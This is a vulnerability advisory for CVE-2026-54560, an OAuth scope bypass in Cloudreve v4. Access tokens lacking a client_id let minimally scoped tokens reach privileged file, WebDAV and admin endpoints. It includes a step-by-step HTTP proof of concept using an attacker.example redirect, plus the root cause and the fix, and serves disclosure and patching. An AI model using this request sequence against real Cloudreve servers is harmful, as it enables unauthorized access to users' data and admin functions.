high · 7.6CVE-2026-54560Jul 20, 2026

CVE-2026-54560: Cloudreve OAuth Access Token Scope Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Cloudreve issues OAuth access tokens without the client_id claim, so a token granted only a minimal scope like 'openid' silently passes all scope checks and can call privileged file, admin, and WebDAV

Packagegithub.com/cloudreve/Cloudreve/v4
Ecosystemgo
Affected>= 4.0.0-20260114075425-bc6845bd742c, < 4.0.0-20260606015557-ed20843dc3df
Fixed in4.0.0-20260606015557-ed20843dc3df

The problem

In Cloudreve 4.12.0 through 4.16.0, the JWT minting function in pkg/auth/jwt.go includes the granted scopes in the access token but omits the ClientID field. When the JWT verifier later processes an incoming request, it only loads scopes into the request context when claims.ClientID is non-empty.

Because the ClientID is always empty in the access token, no scopes are ever loaded. The RequiredScopes middleware then sees no scope context, treats the token exactly like a first-party session token, and skips all scope enforcement. A token granted only 'openid' can therefore call any API the user could call, including file management, share management, WebDAV account config, workflow, user settings, and admin endpoints for administrator accounts.

Proof of concept

A working proof-of-concept for CVE-2026-54560 in github.com/cloudreve/Cloudreve/v4, with the exact payload below.

http
# Step 1: Register an OAuth client and authorize with minimal scope
POST /api/v4/session/oauth/authorize
Content-Type: application/json

{
  "client_id": "<your_client_id>",
  "redirect_uri": "https://attacker.example/callback",
  "response_type": "code",
  "scope": "openid"
}

# Step 2: Exchange the authorization code for tokens
POST /api/v4/session/oauth/token
Content-Type: application/json

{
  "grant_type": "authorization_code",
  "code": "<auth_code>",
  "client_id": "<your_client_id>",
  "redirect_uri": "https://attacker.example/callback"
}

# Step 3: Use the returned access_token against a privileged endpoint
# (token was only granted 'openid', but scope check is skipped entirely)
GET /api/v4/user/setting
Authorization: Bearer <access_token>

# Or target file APIs, WebDAV accounts, admin APIs, etc.
GET /api/v4/admin/summary
Authorization: Bearer <access_token>

The root cause (CWE-863, Incorrect Authorization) is a one-field omission in pkg/auth/jwt.go. The refresh token correctly includes both Scopes and ClientID when minted, but the access token was only given Scopes. The gate condition if claims.ClientID != "" means an access token with an empty ClientID never writes scopes into the Gin context.

The patch in commit ed20843dc3df adds ClientID: args.ClientID to the access token claims struct, mirroring what the refresh token already did. Once ClientID is present, the JWT verifier loads scopes into context and RequiredScopes correctly rejects under-scoped requests.

The fix

Upgrade to Cloudreve 4.16.1 (commit ed20843dc3df). The fix adds ClientID to the access token claims in pkg/auth/jwt.go so the scope-loading gate condition is satisfied and RequiredScopes enforces OAuth scopes correctly. No config change is needed, but existing OAuth access tokens issued before the upgrade will remain unaffected (short-lived) until they expire.

Reported by newugly, de3erve-hunter, tonghuaroot.

References: [1][2][3][4][5]

Related research